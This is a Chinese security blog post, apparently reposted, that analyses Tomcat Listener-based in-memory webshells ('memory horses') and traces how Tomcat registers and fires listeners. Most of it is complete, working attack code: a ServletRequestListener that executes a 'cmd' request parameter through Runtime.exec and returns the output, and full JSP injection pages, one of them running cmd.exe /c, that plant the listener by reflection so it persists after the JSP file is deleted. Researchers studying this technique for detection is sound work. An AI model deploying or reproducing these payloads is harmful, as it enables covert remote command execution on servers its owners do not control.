Listener内存马注入分析

admin 2023年3月12日21:28:59Listener内存马注入分析已关闭评论114 views字数 7670阅读25分34秒阅读模式

内存马

定义

内存马,也被称为无文件马,是无文件攻击的一种常用手段。而无文件攻击呢顾名思义就是不利用shell文件进行攻击,但这里的无文件并不是真的意义上的“无文件”,而是一种攻击思路,是将恶意文件内容以脚本形式存在计算机中的内存、注册表子项目中或者利用系统合法工具以逃避安全检测的方法。

分类

  • servlet-api类
  • listener型
  • filter型
    servlet型
  • spring类
    拦截器
    controller型
  • Java Instrumentation类
    agent型

Listener

顾名思义就是监听器,他能够监听一些事件从而来达到一些效果。在请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

request只要访问服务就能触发,所以listener的request方式最适合做内存马

环境配置

idea配置tomcat_a大数据yyds的博客-CSDN博客_idea tomcat

添加个Tomcat服务,里边这些选项不需修改的话默认即可

Listener内存马注入分析

File->Project Structure在Modules中我们可以看到我们项目Module。右键,Add一个Web。

Listener内存马注入分析

添加好后设置好web.xml路径和index.jsp的路径

Listener内存马注入分析

配置好Modules,我们再配置Artifacts。在Artifacts中,点击绿色加号。选择Web Application:Exploded,然后再选择我们刚配置的Moudules

Listener内存马注入分析

在Tomcat Server设置刚刚刚添加好的war_exploded即可

Listener内存马注入分析

恶意Listener构造

Listener 必须实现 EventListener 接口

Listener内存马注入分析

可以看到有很多接口继承自 EventListener ,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener

Listener内存马注入分析

找到了ServletRequestListener

```
public interface ServletRequestListener extends EventListener {
   default void requestDestroyed(ServletRequestEvent sre) {
  }

default void requestInitialized(ServletRequestEvent sre) {
  }
}
```

用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法这里做个demo测试下

Listener.java

```
package memoryshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listener implements ServletRequestListener {
   @Override
   public void requestDestroyed(ServletRequestEvent sre) {
       System.out.println("执行了TestListener requestDestroyed");
  }

@Override
   public void requestInitialized(ServletRequestEvent sre) {
       System.out.println("执行了TestListener requestInitialized");
  }
}
```

web.xml,这里填写自己包的位置即可

<listener>
       <listener-class>memoryshell.Listener</listener-class>
</listener>

运行后成功执行我们预定义的方法

Listener内存马注入分析

找到了适合的 Listener 之后,我们就可以在其基础上进行内存马的编写,所以接下来我们只需要解决以下两个问题就可以了

  1. 恶意代码写在哪里?
  2. Tomcat 中的 Listener 是如何实现注册的?

恶意代码写在System.out.println("执行了TestListener requestInitialized");这里就好了

而在Listener 这里提供了 ServletRequestEvent 类型的参数,从名字可推测出为 Servlet请求事件

public void requestInitialized(ServletRequestEvent sre) {}

做内存马那我们就需要获取传入的请求,即:cmd=whoami

http://localhost:8081/Java_Security_war_exploded/listener.jsp?cmd=whoami

所以我们需要寻找 sre 的一个方法来获取到请求,找到了getServletRequest 方法,根据名字也能看出获取request请求

跟进看一下,这里返回的类型是ServletRequest接口的实现类类型

Listener内存马注入分析

所以本地调试一下看看用到的是哪个实现类的类型

public void requestInitialized(ServletRequestEvent sre) {
   System.out.println(sre.getServletRequest());
}

返回的是RequestFacade类型

org.apache.catalina.connector.RequestFacade@791bd73a
执行了TestListener requestDestroyed

跟进之后发现request 属性中就有这我们需要的 Request类型,所以直接反射获取值即可

Listener内存马注入分析

org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
   try {
       Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
       requestField.setAccessible(true);
       Request request = (Request) requestField.get(requestFacade);
       System.out.println(request);
  }catch (Exception e){
       e.printStackTrace();
  }

这里就直接构造好了我们需要的类型

Listener内存马注入分析

最后把获取的参数值作为我们的 Runtime 的参数就可以了

```
package memoryshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;

public class Listener implements ServletRequestListener {
   @Override
   public void requestDestroyed(ServletRequestEvent sre) {
       System.out.println("执行了TestListener requestDestroyed");
  }

@Override
   public void requestInitialized(ServletRequestEvent sre) {
       String cmd;
       try {
           cmd = sre.getServletRequest().getParameter("cmd");
           org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
           Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
           requestField.setAccessible(true);
           Request request = (Request) requestField.get(requestFacade);
           Response response = request.getResponse();

if (cmd != null){
               InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
               int i = 0;
               byte[] bytes = new byte[1024];
               while ((i=inputStream.read(bytes)) != -1){
                   response.getWriter().write(new String(bytes,0,i));
                   response.getWriter().write("\r\n");
              }
          }
      }catch (Exception e){
           e.printStackTrace();
      }
  }
}
```

直接执行命令

Listener内存马注入分析

注册流程

listenerStart()

Listener 既然要被注册进并使用,所以期间肯定会实例化这个类,所以断点打在了class类和命令执行的部分

Listener内存马注入分析

直接跟到StandardContext#listenerStart 方法,在4660行进行了实例化,用到参数是listener而listener的值是从listeners来的,listeners又是通过findApplicationListeners()获取的,最后又传入了results中

Listener内存马注入分析

findApplicationListeners()返回的是applicationListeners属性

public String[] findApplicationListeners() {
   return applicationListeners;
}

它的值就是我们web.xml写入的值

Listener内存马注入分析

接着往下看,首先遍历了 results 数组,然后在 for 循环中根据不同类型的 Listener 添加到了不同的数组中,这里我们的 ServletListener 属于第一个判断,所以被添加到了 eventListeners 数组中

ArrayList<Object> eventListeners = new ArrayList<>();
ArrayList<Object> lifecycleListeners = new ArrayList<>();
for (int i = 0; i < results.length; i++) {
   if ((results[i] instanceof ServletContextAttributeListener)
       || (results[i] instanceof ServletRequestAttributeListener)
       || (results[i] instanceof ServletRequestListener)
       || (results[i] instanceof HttpSessionIdListener)
       || (results[i] instanceof HttpSessionAttributeListener)) {
       eventListeners.add(results[i]);
  }
   if ((results[i] instanceof ServletContextListener)
       || (results[i] instanceof HttpSessionListener)) {
       lifecycleListeners.add(results[i]);
  }
}

接下来调用 getApplicationEventListeners 函数来获取 applicationEventListenersList 属性(即已注册的 Listener),之后存储到eventListeners中,在经过setApplicationEventListeners()进行设置

Listener内存马注入分析

跟进setApplicationEventListeners(),先通过clear()清空,在将传入的listeners重新赋值给它

public void setApplicationEventListeners(Object listeners[]) {
applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
applicationEventListenersList.addAll(Arrays.asList(listeners));
}
}

applicationEventListenersList 是List\<Object> 类型的所以这里面存放的都是实例化后的 listener

private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

至此listenerStart就结束了,这部分主要就是进行了listener的存储

fireRequestInitEvent()

在存储后就需要找个触发点,找到了fireRequestInitEvent()这里,最后调用了requestInitialized(event);,也就是我们在listener构造时触发的地方,所以可以通过listener恶意执行代码

Listener内存马注入分析

listener是通过instances赋值来了,而instances则是getApplicationEventListeners()的返回值,这就联系到了前边listenerStart()中通过该方法进行存储的地方

public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

poc构造

```
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class Listen implements ServletRequestListener {

@Override
       public void requestInitialized(ServletRequestEvent sre) {
           String cmd;
           try {
               cmd = sre.getServletRequest().getParameter("cmd");
               org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
               Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
               requestField.setAccessible(true);
               Request request = (Request) requestField.get(requestFacade);
               Response response = request.getResponse();

if (cmd != null){
                   InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                   int i = 0;
                   byte[] bytes = new byte[1024];
                   while ((i=inputStream.read(bytes)) != -1){
                       response.getWriter().write(new String(bytes,0,i));
                       response.getWriter().write("\r\n");
                  }
              }
          }catch (Exception e){
               e.printStackTrace();
          }
      }

@Override
       public void requestDestroyed(ServletRequestEvent sre) {
      }
  }
%>

<%    ServletContext servletContext =  request.getServletContext();    Field applicationContextField = servletContext.getClass().getDeclaredField("context");    applicationContextField.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
   standardContextField.setAccessible(true);
   StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Object[] objects = standardContext.getApplicationEventListeners();
   List listeners = Arrays.asList(objects);
   List arrayList = new ArrayList(listeners);
   arrayList.add(new Listen());
   standardContext.setApplicationEventListeners(arrayList.toArray());

%>
```

Listener内存马注入分析

此时将listen.jsp删除后命令仍可以执行,重启服务器后内存马就不在了

附上网络上公开的内存马:

方式一:

<%
   Field reqF = request.getClass().getDeclaredField("request");
   reqF.setAccessible(true);
   Request req = (Request) reqF.get(request);
   StandardContext context = (StandardContext) req.getContext();
%>

方式二:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
   StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

test.jsp

```
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!    public class MyListener implements ServletRequestListener {        public void requestDestroyed(ServletRequestEvent sre) {            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();            if (req.getParameter("cmd") != null){                InputStream in = null;                try {                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();                    Scanner s = new Scanner(in).useDelimiter("\\A");                    String out = s.hasNext()?s.next():"";                    Field requestF = req.getClass().getDeclaredField("request");                    requestF.setAccessible(true);                    Request request = (Request)requestF.get(req);                    request.getResponse().getWriter().write(out);               }                catch (IOException e) {}                catch (NoSuchFieldException e) {}                catch (IllegalAccessException e) {}           }       }

public void requestInitialized(ServletRequestEvent sre) {}
  }
%>

<%    Field reqF = request.getClass().getDeclaredField("request");    reqF.setAccessible(true);    Request req = (Request) reqF.get(request);    StandardContext context = (StandardContext) req.getContext();    MyListener listenerDemo = new MyListener();    context.addApplicationEventListener(listenerDemo); %>
```

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日21:28:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Listener内存马注入分析http://cn-sec.com/archives/1599506.html
  • 目录
  • 在线咨询

    13688888888
    QQ在线咨询

    微信

    微信
  • CN-SEC 中文网

    本页二维码